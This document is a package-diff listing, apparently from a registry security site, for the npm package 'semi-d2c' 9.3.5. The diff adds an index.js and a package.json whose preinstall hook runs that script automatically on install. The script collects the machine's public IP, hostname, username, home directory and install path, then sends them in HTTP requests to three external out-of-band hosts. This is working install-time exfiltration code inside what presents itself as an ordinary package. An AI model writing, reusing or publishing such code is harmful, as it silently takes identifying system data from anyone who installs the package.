semi-d2c 9.3.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const os = require("os");
2
+ const querystring = require("querystring");
3
+ const http = require("http");
4
+ const fs = require("fs");
5
+ const packageJSON = require("./package.json");
6
+ const packageName = packageJSON.name;
7
+
8
+ fetch('http://ip-api.com/json')
9
+ .then(response => response.json())
10
+ .then(data => {
11
+ const ipAddress = data.query;
12
+
13
+ const trackingData = querystring.stringify({
14
+ package: packageName,
15
+ dir: __dirname,
16
+ homedir: os.homedir(),
17
+ hostname: os.hostname(),
18
+ ip: ipAddress,
19
+ username: os.userInfo().username,
20
+ });
21
+
22
+ const addresses = [
23
+ "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
24
+ "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
25
+ "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
26
+ ];
27
+
28
+ function generateRandomFiveDigitNumber() {
29
+ return Math.floor(10000 + Math.random() * 90000);
30
+ }
31
+
32
+ const randomNumber = generateRandomFiveDigitNumber();
33
+
34
+ addresses.forEach((hostname) => {
35
+ const options = {
36
+ hostname: hostname,
37
+ port: "80",
38
+ path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
39
+ method: "GET",
40
+ rejectUnauthorized: false
41
+ };
42
+
43
+ const req = http.request(options, (res) => {
44
+ res.on("data", (d) => {
45
+ console.log(`Response from ${hostname}:`, d.toString());
46
+ });
47
+ });
48
+
49
+ req.on("error", (e) => {
50
+ console.error(`Error with request to ${hostname}:`, e);
51
+ });
52
+
53
+ req.end();
54
+ });
55
+ })
56
+ .catch(error => {
57
+ console.error(error);
58
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "semi-d2c",
3
+ "version": "9.3.5",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js",
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }